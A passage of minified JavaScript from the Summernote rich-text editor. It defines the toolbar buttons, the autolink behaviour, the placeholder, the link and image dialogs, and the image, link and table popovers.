"+l.width+"x"+l.height+")";n.find(".note-control-selection-info").text(c),this.context.invoke("editor.saveTarget",e)}else this.hide();return o},e.prototype.hide=function(){this.context.invoke("editor.clearTarget"),this.$handle.children().hide()},e}(),Zt=/^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i,Yt=function(){function e(t){var e=this;this.context=t,this.events={"summernote.keyup":function(t,o){o.isDefaultPrevented()||e.handleKeyup(o)},"summernote.keydown":function(t,o){e.handleKeydown(o)}}}return e.prototype.initialize=function(){this.lastWordRange=null},e.prototype.destroy=function(){this.lastWordRange=null},e.prototype.replace=function(){if(this.lastWordRange){var e=this.lastWordRange.toString(),o=e.match(Zt);if(o&&(o[1]||o[2])){var n=o[1]?e:"http://"+e,i=t("<a />").html(e).attr("href",n)[0];this.lastWordRange.insertNode(i),this.lastWordRange=null,this.context.invoke("editor.focus")}}},e.prototype.handleKeydown=function(t){if(N.contains([At.code.ENTER,At.code.SPACE],t.keyCode)){var e=this.context.invoke("editor.createRange").getWordRange();this.lastWordRange=e}},e.prototype.handleKeyup=function(t){N.contains([At.code.ENTER,At.code.SPACE],t.keyCode)&&this.replace()},e}(),Qt=function(){function t(t){var e=this;this.$note=t.layoutInfo.note,this.events={"summernote.change":function(){e.$note.val(t.invoke("code"))}}}return t.prototype.shouldInitialize=function(){return Nt.isTextarea(this.$note[0])},t}(),Jt=function(){function e(t){var e=this;this.context=t,this.$editingArea=t.layoutInfo.editingArea,this.options=t.options,this.events={"summernote.init summernote.change":function(){e.update()},"summernote.codeview.toggled":function(){e.update()}}}return e.prototype.shouldInitialize=function(){return!!this.options.placeholder},e.prototype.initialize=function(){var e=this;this.$placeholder=t('<div class="note-placeholder">'),this.$placeholder.on("click",function(){e.context.invoke("focus")}).text(this.options.placeholder).prependTo(this.$editingArea),this.update()},e.prototype.destroy=function(){this.$placeholder.remove()},e.prototype.update=function(){var t=!this.context.invoke("codeview.isActivated")&&this.context.invoke("editor.isEmpty");this.$placeholder.toggle(t)},e}(),Xt=function(){function e(e){this.ui=t.summernote.ui,this.context=e,this.$toolbar=e.layoutInfo.toolbar,this.options=e.options,this.lang=this.options.langInfo,this.invertedKeyMap=C.invertObject(this.options.keyMap[z.isMac?"mac":"pc"])}return e.prototype.representShortcut=function(t){var e=this.invertedKeyMap[t];return this.options.shortcuts&&e?(z.isMac&&(e=e.replace("CMD","⌘").replace("SHIFT","⇧"))," ("+(e=e.replace("BACKSLASH","\\").replace("SLASH","/").replace("LEFTBRACKET","[").replace("RIGHTBRACKET","]"))+")"):""},e.prototype.button=function(t){return!this.options.tooltip&&t.tooltip&&delete t.tooltip,t.container=this.options.container,this.ui.button(t)},e.prototype.initialize=function(){this.addToolbarButtons(),this.addImagePopoverButtons(),this.addLinkPopoverButtons(),this.addTablePopoverButtons(),this.fontInstalledMap={}},e.prototype.destroy=function(){delete this.fontInstalledMap},e.prototype.isFontInstalled=function(t){return this.fontInstalledMap.hasOwnProperty(t)||(this.fontInstalledMap[t]=z.isFontInstalled(t)||N.contains(this.options.fontNamesIgnoreCheck,t)),this.fontInstalledMap[t]},e.prototype.isFontDeservedToAdd=function(e){return""!==(e=e.toLowerCase())&&this.isFontInstalled(e)&&-1===t.inArray(e,["sans-serif","serif","monospace","cursive","fantasy"])},e.prototype.addToolbarButtons=function(){var e=this;this.context.memo("button.style",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.magic),e.options),tooltip:e.lang.style.style,data:{toggle:"dropdown"}}),e.ui.dropdown({className:"dropdown-style",items:e.options.styleTags,title:e.lang.style.style,template:function(t){"string"==typeof t&&(t={tag:t,title:e.lang.style.hasOwnProperty(t)?e.lang.style[t]:t});var o=t.tag,n=t.title;return"<"+o+(t.style?' style="'+t.style+'" ':"")+(t.className?' class="'+t.className+'"':"")+">"+n+"</"+o+">"},click:e.context.createInvokeHandler("editor.formatBlock")})]).render()});for(var o=function(t,o){var i=n.options.styleTags[t];n.context.memo("button.style."+i,function(){return e.button({className:"note-btn-style-"+i,contents:'<div data-value="'+i+'">'+i.toUpperCase()+"</div>",tooltip:e.lang.style[i],click:e.context.createInvokeHandler("editor.formatBlock")}).render()})},n=this,i=0,r=this.options.styleTags.length;i<r;i++)o(i);this.context.memo("button.bold",function(){return e.button({className:"note-btn-bold",contents:e.ui.icon(e.options.icons.bold),tooltip:e.lang.font.bold+e.representShortcut("bold"),click:e.context.createInvokeHandlerAndUpdateState("editor.bold")}).render()}),this.context.memo("button.italic",function(){return e.button({className:"note-btn-italic",contents:e.ui.icon(e.options.icons.italic),tooltip:e.lang.font.italic+e.representShortcut("italic"),click:e.context.createInvokeHandlerAndUpdateState("editor.italic")}).render()}),this.context.memo("button.underline",function(){return e.button({className:"note-btn-underline",contents:e.ui.icon(e.options.icons.underline),tooltip:e.lang.font.underline+e.representShortcut("underline"),click:e.context.createInvokeHandlerAndUpdateState("editor.underline")}).render()}),this.context.memo("button.clear",function(){return e.button({contents:e.ui.icon(e.options.icons.eraser),tooltip:e.lang.font.clear+e.representShortcut("removeFormat"),click:e.context.createInvokeHandler("editor.removeFormat")}).render()}),this.context.memo("button.strikethrough",function(){return e.button({className:"note-btn-strikethrough",contents:e.ui.icon(e.options.icons.strikethrough),tooltip:e.lang.font.strikethrough+e.representShortcut("strikethrough"),click:e.context.createInvokeHandlerAndUpdateState("editor.strikethrough")}).render()}),this.context.memo("button.superscript",function(){return e.button({className:"note-btn-superscript",contents:e.ui.icon(e.options.icons.superscript),tooltip:e.lang.font.superscript,click:e.context.createInvokeHandlerAndUpdateState("editor.superscript")}).render()}),this.context.memo("button.subscript",function(){return e.button({className:"note-btn-subscript",contents:e.ui.icon(e.options.icons.subscript),tooltip:e.lang.font.subscript,click:e.context.createInvokeHandlerAndUpdateState("editor.subscript")}).render()}),this.context.memo("button.fontname",function(){var o=e.context.invoke("editor.currentStyle");return t.each(o["font-family"].split(","),function(o,n){n=n.trim().replace(/['"]+/g,""),e.isFontDeservedToAdd(n)&&-1===t.inArray(n,e.options.fontNames)&&e.options.fontNames.push(n)}),e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents('<span class="note-current-fontname"/>',e.options),tooltip:e.lang.font.name,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({className:"dropdown-fontname",checkClassName:e.options.icons.menuCheck,items:e.options.fontNames.filter(e.isFontInstalled.bind(e)),title:e.lang.font.name,template:function(t){return"<span style=\"font-family: '"+t+"'\">"+t+"</span>"},click:e.context.createInvokeHandlerAndUpdateState("editor.fontName")})]).render()}),this.context.memo("button.fontsize",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents('<span class="note-current-fontsize"/>',e.options),tooltip:e.lang.font.size,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({className:"dropdown-fontsize",checkClassName:e.options.icons.menuCheck,items:e.options.fontSizes,title:e.lang.font.size,click:e.context.createInvokeHandlerAndUpdateState("editor.fontSize")})]).render()}),this.context.memo("button.color",function(){return e.ui.buttonGroup({className:"note-color",children:[e.button({className:"note-current-color-button",contents:e.ui.icon(e.options.icons.font+" note-recent-color"),tooltip:e.lang.color.recent,click:function(o){var n=t(o.currentTarget);e.context.invoke("editor.color",{backColor:n.attr("data-backColor"),foreColor:n.attr("data-foreColor")})},callback:function(t){t.find(".note-recent-color").css("background-color","#FFFF00"),t.attr("data-backColor","#FFFF00")}}),e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents("",e.options),tooltip:e.lang.color.more,data:{toggle:"dropdown"}}),e.ui.dropdown({items:['<div class="note-palette">','  <div class="note-palette-title">'+e.lang.color.background+"</div>","  <div>",'    <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">',e.lang.color.transparent,"    </button>","  </div>",'  <div class="note-holder" data-event="backColor"/>',"</div>",'<div class="note-palette">','  <div class="note-palette-title">'+e.lang.color.foreground+"</div>","  <div>",'    <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">',e.lang.color.resetToDefault,"    </button>","  </div>",'  <div class="note-holder" data-event="foreColor"/>',"</div>"].join(""),callback:function(o){o.find(".note-holder").each(function(o,n){var i=t(n);i.append(e.ui.palette({colors:e.options.colors,colorsName:e.options.colorsName,eventName:i.data("event"),container:e.options.container,tooltip:e.options.tooltip}).render())})},click:function(o){var n=t(o.target),i=n.data("event"),r=n.data("value");if(i&&r){var s="backColor"===i?"background-color":"color",a=n.closest(".note-color").find(".note-recent-color"),l=n.closest(".note-color").find(".note-current-color-button");a.css(s,r),l.attr("data-"+i,r),e.context.invoke("editor."+i,r)}}})]}).render()}),this.context.memo("button.ul",function(){return e.button({contents:e.ui.icon(e.options.icons.unorderedlist),tooltip:e.lang.lists.unordered+e.representShortcut("insertUnorderedList"),click:e.context.createInvokeHandler("editor.insertUnorderedList")}).render()}),this.context.memo("button.ol",function(){return e.button({contents:e.ui.icon(e.options.icons.orderedlist),tooltip:e.lang.lists.ordered+e.representShortcut("insertOrderedList"),click:e.context.createInvokeHandler("editor.insertOrderedList")}).render()});var s=this.button({contents:this.ui.icon(this.options.icons.alignLeft),tooltip:this.lang.paragraph.left+this.representShortcut("justifyLeft"),click:this.context.createInvokeHandler("editor.justifyLeft")}),a=this.button({contents:this.ui.icon(this.options.icons.alignCenter),tooltip:this.lang.paragraph.center+this.representShortcut("justifyCenter"),click:this.context.createInvokeHandler("editor.justifyCenter")}),l=this.button({contents:this.ui.icon(this.options.icons.alignRight),tooltip:this.lang.paragraph.right+this.representShortcut("justifyRight"),click:this.context.createInvokeHandler("editor.justifyRight")}),c=this.button({contents:this.ui.icon(this.options.icons.alignJustify),tooltip:this.lang.paragraph.justify+this.representShortcut("justifyFull"),click:this.context.createInvokeHandler("editor.justifyFull")}),d=this.button({contents:this.ui.icon(this.options.icons.outdent),tooltip:this.lang.paragraph.outdent+this.representShortcut("outdent"),click:this.context.createInvokeHandler("editor.outdent")}),u=this.button({contents:this.ui.icon(this.options.icons.indent),tooltip:this.lang.paragraph.indent+this.representShortcut("indent"),click:this.context.createInvokeHandler("editor.indent")});this.context.memo("button.justifyLeft",C.invoke(s,"render")),this.context.memo("button.justifyCenter",C.invoke(a,"render")),this.context.memo("button.justifyRight",C.invoke(l,"render")),this.context.memo("button.justifyFull",C.invoke(c,"render")),this.context.memo("button.outdent",C.invoke(d,"render")),this.context.memo("button.indent",C.invoke(u,"render")),this.context.memo("button.paragraph",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.alignLeft),e.options),tooltip:e.lang.paragraph.paragraph,data:{toggle:"dropdown"}}),e.ui.dropdown([e.ui.buttonGroup({className:"note-align",children:[s,a,l,c]}),e.ui.buttonGroup({className:"note-list",children:[d,u]})])]).render()}),this.context.memo("button.height",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.textHeight),e.options),tooltip:e.lang.font.height,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({items:e.options.lineHeights,checkClassName:e.options.icons.menuCheck,className:"dropdown-line-height",title:e.lang.font.height,click:e.context.createInvokeHandler("editor.lineHeight")})]).render()}),this.context.memo("button.table",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.table),e.options),tooltip:e.lang.table.table,data:{toggle:"dropdown"}}),e.ui.dropdown({title:e.lang.table.table,className:"note-table",items:['<div class="note-dimension-picker">','  <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>','  <div class="note-dimension-picker-highlighted"/>','  <div class="note-dimension-picker-unhighlighted"/>',"</div>",'<div class="note-dimension-display">1 x 1</div>'].join("")})],{callback:function(t){t.find(".note-dimension-picker-mousecatcher").css({width:e.options.insertTableMaxSize.col+"em",height:e.options.insertTableMaxSize.row+"em"}).mousedown(e.context.createInvokeHandler("editor.insertTable")).on("mousemove",e.tableMoveHandler.bind(e))}}).render()}),this.context.memo("button.link",function(){return e.button({contents:e.ui.icon(e.options.icons.link),tooltip:e.lang.link.link+e.representShortcut("linkDialog.show"),click:e.context.createInvokeHandler("linkDialog.show")}).render()}),this.context.memo("button.picture",function(){return e.button({contents:e.ui.icon(e.options.icons.picture),tooltip:e.lang.image.image,click:e.context.createInvokeHandler("imageDialog.show")}).render()}),this.context.memo("button.video",function(){return e.button({contents:e.ui.icon(e.options.icons.video),tooltip:e.lang.video.video,click:e.context.createInvokeHandler("videoDialog.show")}).render()}),this.context.memo("button.hr",function(){return e.button({contents:e.ui.icon(e.options.icons.minus),tooltip:e.lang.hr.insert+e.representShortcut("insertHorizontalRule"),click:e.context.createInvokeHandler("editor.insertHorizontalRule")}).render()}),this.context.memo("button.fullscreen",function(){return e.button({className:"btn-fullscreen",contents:e.ui.icon(e.options.icons.arrowsAlt),tooltip:e.lang.options.fullscreen,click:e.context.createInvokeHandler("fullscreen.toggle")}).render()}),this.context.memo("button.codeview",function(){return e.button({className:"btn-codeview",contents:e.ui.icon(e.options.icons.code),tooltip:e.lang.options.codeview,click:e.context.createInvokeHandler("codeview.toggle")}).render()}),this.context.memo("button.redo",function(){return e.button({contents:e.ui.icon(e.options.icons.redo),tooltip:e.lang.history.redo+e.representShortcut("redo"),click:e.context.createInvokeHandler("editor.redo")}).render()}),this.context.memo("button.undo",function(){return e.button({contents:e.ui.icon(e.options.icons.undo),tooltip:e.lang.history.undo+e.representShortcut("undo"),click:e.context.createInvokeHandler("editor.undo")}).render()}),this.context.memo("button.help",function(){return e.button({contents:e.ui.icon(e.options.icons.question),tooltip:e.lang.options.help,click:e.context.createInvokeHandler("helpDialog.show")}).render()})},e.prototype.addImagePopoverButtons=function(){var t=this;this.context.memo("button.imageSize100",function(){return t.button({contents:'<span class="note-fontsize-10">100%</span>',tooltip:t.lang.image.resizeFull,click:t.context.createInvokeHandler("editor.resize","1")}).render()}),this.context.memo("button.imageSize50",function(){return t.button({contents:'<span class="note-fontsize-10">50%</span>',tooltip:t.lang.image.resizeHalf,click:t.context.createInvokeHandler("editor.resize","0.5")}).render()}),this.context.memo("button.imageSize25",function(){return t.button({contents:'<span class="note-fontsize-10">25%</span>',tooltip:t.lang.image.resizeQuarter,click:t.context.createInvokeHandler("editor.resize","0.25")}).render()}),this.context.memo("button.floatLeft",function(){return t.button({contents:t.ui.icon(t.options.icons.alignLeft),tooltip:t.lang.image.floatLeft,click:t.context.createInvokeHandler("editor.floatMe","left")}).render()}),this.context.memo("button.floatRight",function(){return t.button({contents:t.ui.icon(t.options.icons.alignRight),tooltip:t.lang.image.floatRight,click:t.context.createInvokeHandler("editor.floatMe","right")}).render()}),this.context.memo("button.floatNone",function(){return t.button({contents:t.ui.icon(t.options.icons.alignJustify),tooltip:t.lang.image.floatNone,click:t.context.createInvokeHandler("editor.floatMe","none")}).render()}),this.context.memo("button.removeMedia",function(){return t.button({contents:t.ui.icon(t.options.icons.trash),tooltip:t.lang.image.remove,click:t.context.createInvokeHandler("editor.removeMedia")}).render()})},e.prototype.addLinkPopoverButtons=function(){var t=this;this.context.memo("button.linkDialogShow",function(){return t.button({contents:t.ui.icon(t.options.icons.link),tooltip:t.lang.link.edit,click:t.context.createInvokeHandler("linkDialog.show")}).render()}),this.context.memo("button.unlink",function(){return t.button({contents:t.ui.icon(t.options.icons.unlink),tooltip:t.lang.link.unlink,click:t.context.createInvokeHandler("editor.unlink")}).render()})},e.prototype.addTablePopoverButtons=function(){var t=this;this.context.memo("button.addRowUp",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowAbove),tooltip:t.lang.table.addRowAbove,click:t.context.createInvokeHandler("editor.addRow","top")}).render()}),this.context.memo("button.addRowDown",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowBelow),tooltip:t.lang.table.addRowBelow,click:t.context.createInvokeHandler("editor.addRow","bottom")}).render()}),this.context.memo("button.addColLeft",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colBefore),tooltip:t.lang.table.addColLeft,click:t.context.createInvokeHandler("editor.addCol","left")}).render()}),this.context.memo("button.addColRight",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colAfter),tooltip:t.lang.table.addColRight,click:t.context.createInvokeHandler("editor.addCol","right")}).render()}),this.context.memo("button.deleteRow",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowRemove),tooltip:t.lang.table.delRow,click:t.context.createInvokeHandler("editor.deleteRow")}).render()}),this.context.memo("button.deleteCol",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colRemove),tooltip:t.lang.table.delCol,click:t.context.createInvokeHandler("editor.deleteCol")}).render()}),this.context.memo("button.deleteTable",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.trash),tooltip:t.lang.table.delTable,click:t.context.createInvokeHandler("editor.deleteTable")}).render()})},e.prototype.build=function(e,o){for(var n=0,i=o.length;n<i;n++){for(var r=o[n],s=t.isArray(r)?r[0]:r,a=t.isArray(r)?1===r.length?[r[0]]:r[1]:[r],l=this.ui.buttonGroup({className:"note-"+s}).render(),c=0,d=a.length;c<d;c++){var u=this.context.memo("button."+a[c]);u&&l.append("function"==typeof u?u(this.context):u)}l.appendTo(e)}},e.prototype.updateCurrentStyle=function(e){var o=this,n=e||this.$toolbar,i=this.context.invoke("editor.currentStyle");if(this.updateBtnStates(n,{".note-btn-bold":function(){return"bold"===i["font-bold"]},".note-btn-italic":function(){return"italic"===i["font-italic"]},".note-btn-underline":function(){return"underline"===i["font-underline"]},".note-btn-subscript":function(){return"subscript"===i["font-subscript"]},".note-btn-superscript":function(){return"superscript"===i["font-superscript"]},".note-btn-strikethrough":function(){return"strikethrough"===i["font-strikethrough"]}}),i["font-family"]){var r=i["font-family"].split(",").map(function(t){return t.replace(/[\'\"]/g,"").replace(/\s+$/,"").replace(/^\s+/,"")}),s=N.find(r,this.isFontInstalled.bind(this));n.find(".dropdown-fontname a").each(function(e,o){var n=t(o),i=n.data("value")+""==s+"";n.toggleClass("checked",i)}),n.find(".note-current-fontname").text(s).css("font-family",s)}if(i["font-size"]){var a=i["font-size"];n.find(".dropdown-fontsize a").each(function(e,o){var n=t(o),i=n.data("value")+""==a+"";n.toggleClass("checked",i)}),n.find(".note-current-fontsize").text(a)}if(i["line-height"]){var l=i["line-height"];n.find(".dropdown-line-height li a").each(function(e,n){var i=t(n).data("value")+""==l+"";o.className=i?"checked":""})}},e.prototype.updateBtnStates=function(e,o){var n=this;t.each(o,function(t,o){n.ui.toggleBtnActive(e.find(t),o())})},e.prototype.tableMoveHandler=function(e){var o,n=t(e.target.parentNode),i=n.next(),r=n.find(".note-dimension-picker-mousecatcher"),s=n.find(".note-dimension-picker-highlighted"),a=n.find(".note-dimension-picker-unhighlighted");if(void 0===e.offsetX){var l=t(e.target).offset();o={x:e.pageX-l.left,y:e.pageY-l.top}}else o={x:e.offsetX,y:e.offsetY};var c=Math.ceil(o.x/18)||1,d=Math.ceil(o.y/18)||1;s.css({width:c+"em",height:d+"em"}),r.data("value",c+"x"+d),c>3&&c<this.options.insertTableMaxSize.col&&a.css({width:c+1+"em"}),d>3&&d<this.options.insertTableMaxSize.row&&a.css({height:d+1+"em"}),i.html(c+" x "+d)},e}(),te=function(){function e(e){this.context=e,this.$window=t(window),this.$document=t(document),this.ui=t.summernote.ui,this.$note=e.layoutInfo.note,this.$editor=e.layoutInfo.editor,this.$toolbar=e.layoutInfo.toolbar,this.options=e.options,this.followScroll=this.followScroll.bind(this)}return e.prototype.shouldInitialize=function(){return!this.options.airMode},e.prototype.initialize=function(){var t=this;this.options.toolbar=this.options.toolbar||[],this.options.toolbar.length?this.context.invoke("buttons.build",this.$toolbar,this.options.toolbar):this.$toolbar.hide(),this.options.toolbarContainer&&this.$toolbar.appendTo(this.options.toolbarContainer),this.changeContainer(!1),this.$note.on("summernote.keyup summernote.mouseup summernote.change",function(){t.context.invoke("buttons.updateCurrentStyle")}),this.context.invoke("buttons.updateCurrentStyle"),this.options.followingToolbar&&this.$window.on("scroll resize",this.followScroll)},e.prototype.destroy=function(){this.$toolbar.children().remove(),this.options.followingToolbar&&this.$window.off("scroll resize",this.followScroll)},e.prototype.followScroll=function(){if(this.$editor.hasClass("fullscreen"))return!1;var e=this.$toolbar.parent(".note-toolbar-wrapper"),o=this.$editor.outerHeight(),n=this.$editor.width(),i=this.$toolbar.height();e.css({height:i});var r=0;this.options.otherStaticBar&&(r=t(this.options.otherStaticBar).outerHeight());var s=this.$document.scrollTop(),a=this.$editor.offset().top;s>a-r&&s<a+o-r-i?this.$toolbar.css({position:"fixed",top:r,width:n}):this.$toolbar.css({position:"relative",top:0,width:"100%"})},e.prototype.changeContainer=function(t){t?this.$toolbar.prependTo(this.$editor):this.options.toolbarContainer&&this.$toolbar.appendTo(this.options.toolbarContainer)},e.prototype.updateFullscreen=function(t){this.ui.toggleBtnActive(this.$toolbar.find(".btn-fullscreen"),t),this.changeContainer(t)},e.prototype.updateCodeview=function(t){this.ui.toggleBtnActive(this.$toolbar.find(".btn-codeview"),t),t?this.deactivate():this.activate()},e.prototype.activate=function(t){var e=this.$toolbar.find("button");t||(e=e.not(".btn-codeview")),this.ui.toggleBtn(e,!0)},e.prototype.deactivate=function(t){var e=this.$toolbar.find("button");t||(e=e.not(".btn-codeview")),this.ui.toggleBtn(e,!1)},e}(),ee=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo,e.memo("help.linkDialog.show",this.options.langInfo.help["linkDialog.show"])}return e.prototype.initialize=function(){var e=this.options.dialogsInBody?this.$body:this.$editor,o=['<div class="form-group note-form-group">','<label class="note-form-label">'+this.lang.link.textToDisplay+"</label>",'<input class="note-link-text form-control note-form-control  note-input" type="text" />',"</div>",'<div class="form-group note-form-group">','<label class="note-form-label">'+this.lang.link.url+"</label>",'<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />',"</div>",this.options.disableLinkTarget?"":t("<div/>").append(this.ui.checkbox({id:"sn-checkbox-open-in-new-window",text:this.lang.link.openInNewWindow,checked:!0}).render()).html()].join(""),n='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-link-btn" disabled>'+this.lang.link.insert+"</button>";this.$dialog=this.ui.dialog({className:"link-dialog",title:this.lang.link.insert,fade:this.options.dialogsFade,body:o,footer:n}).render().appendTo(e)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.toggleLinkBtn=function(t,e,o){this.ui.toggleBtn(t,e.val()&&o.val())},e.prototype.showLinkDialog=function(e){var o=this;return t.Deferred(function(t){var n=o.$dialog.find(".note-link-text"),i=o.$dialog.find(".note-link-url"),r=o.$dialog.find(".note-link-btn"),s=o.$dialog.find("input[type=checkbox]");o.ui.onDialogShown(o.$dialog,function(){o.context.triggerEvent("dialog.shown"),e.url||(e.url=e.text),n.val(e.text);var a=function(){o.toggleLinkBtn(r,n,i),e.text=n.val()};n.on("input",a).on("paste",function(){setTimeout(a,0)});var l=function(){o.toggleLinkBtn(r,n,i),e.text||n.val(i.val())};i.on("input",l).on("paste",function(){setTimeout(l,0)}).val(e.url),z.isSupportTouch||i.trigger("focus"),o.toggleLinkBtn(r,n,i),o.bindEnterKey(i,r),o.bindEnterKey(n,r);var c=void 0!==e.isNewWindow?e.isNewWindow:o.context.options.linkTargetBlank;s.prop("checked",c),r.one("click",function(r){r.preventDefault(),t.resolve({range:e.range,url:i.val(),text:n.val(),isNewWindow:s.is(":checked")}),o.ui.hideDialog(o.$dialog)})}),o.ui.onDialogHidden(o.$dialog,function(){n.off("input paste keypress"),i.off("input paste keypress"),r.off("click"),"pending"===t.state()&&t.reject()}),o.ui.showDialog(o.$dialog)}).promise()},e.prototype.show=function(){var t=this,e=this.context.invoke("editor.getLinkInfo");this.context.invoke("editor.saveRange"),this.showLinkDialog(e).then(function(e){t.context.invoke("editor.restoreRange"),t.context.invoke("editor.createLink",e)}).fail(function(){t.context.invoke("editor.restoreRange")})},e}(),oe=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.keyup summernote.mouseup summernote.change summernote.scroll":function(){o.update()},"summernote.disable summernote.dialog.shown":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.link)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-link-popover",callback:function(t){t.find(".popover-content,.note-popover-content").prepend('<span><a target="_blank"></a>&nbsp;</span>')}}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.link)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(){if(this.context.invoke("editor.hasFocus")){var e=this.context.invoke("editor.createRange");if(e.isCollapsed()&&e.isOnAnchor()){var o=Nt.ancestor(e.sc,Nt.isAnchor),n=t(o).attr("href");this.$popover.find("a").attr("href",n).html(n);var i=Nt.posFromPlaceholder(o);this.$popover.css({display:"block",left:i.left,top:i.top})}else this.hide()}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),ne=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e="";if(this.options.maximumImageFileSize){var o=Math.floor(Math.log(this.options.maximumImageFileSize)/Math.log(1024)),n=1*(this.options.maximumImageFileSize/Math.pow(1024,o)).toFixed(2)+" "+" KMGTP"[o]+"B";e="<small>"+this.lang.image.maximumFileSize+" : "+n+"</small>"}var i=['<div class="form-group note-form-group note-group-select-from-files">','<label class="note-form-label">'+this.lang.image.selectFromFiles+"</label>",'<input class="note-image-input note-form-control note-input" ',' type="file" name="files" accept="image/*" multiple="multiple" />',e,"</div>",'<div class="form-group note-group-image-url" style="overflow:auto;">','<label class="note-form-label">'+this.lang.image.url+"</label>",'<input class="note-image-url form-control note-form-control note-input ',' col-md-12" type="text" />',"</div>"].join(""),r='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-image-btn" disabled>'+this.lang.image.insert+"</button>";this.$dialog=this.ui.dialog({title:this.lang.image.insert,fade:this.options.dialogsFade,body:i,footer:r}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.show=function(){var t=this;this.context.invoke("editor.saveRange"),this.showImageDialog().then(function(e){t.ui.hideDialog(t.$dialog),t.context.invoke("editor.restoreRange"),"string"==typeof e?t.context.invoke("editor.insertImage",e):t.context.invoke("editor.insertImagesOrCallback",e)}).fail(function(){t.context.invoke("editor.restoreRange")})},e.prototype.showImageDialog=function(){var e=this;return t.Deferred(function(t){var o=e.$dialog.find(".note-image-input"),n=e.$dialog.find(".note-image-url"),i=e.$dialog.find(".note-image-btn");e.ui.onDialogShown(e.$dialog,function(){e.context.triggerEvent("dialog.shown"),o.replaceWith(o.clone().on("change",function(e){t.resolve(e.target.files||e.target.value)}).val("")),i.click(function(e){e.preventDefault(),t.resolve(n.val())}),n.on("keyup paste",function(){var t=n.val();e.ui.toggleBtn(i,t)}).val(""),z.isSupportTouch||n.trigger("focus"),e.bindEnterKey(n,i)}),e.ui.onDialogHidden(e.$dialog,function(){o.off("change"),n.off("keyup paste keypress"),i.off("click"),"pending"===t.state()&&t.reject()}),e.ui.showDialog(e.$dialog)})},e}(),ie=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.editable=e.layoutInfo.editable[0],this.options=e.options,this.events={"summernote.disable":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.image)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-image-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.image)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(t){if(Nt.isImg(t)){var e=Nt.posFromPlaceholder(t),o=Nt.posFromPlaceholder(this.editable);this.$popover.css({display:"block",left:this.options.popatmouse?event.pageX-20:e.left,top:this.options.popatmouse?event.pageY:Math.min(e.top,o.top)})}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),re=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.mousedown":function(t,e){o.update(e.target)},"summernote.keyup summernote.scroll summernote.change":function(){o.update()},"summernote.disable":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.table)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-table-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.table),z.isFF&&document.execCommand("enableInlineTableEditing",!1,!1)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(t){if(this.context.isDisabled())return!1;var e=Nt.isCell(t);if(e){var o=Nt.posFromPlaceholder(t);this.$popover.css({display:"block",left:o.left,top:o.top})}else this.hide();return 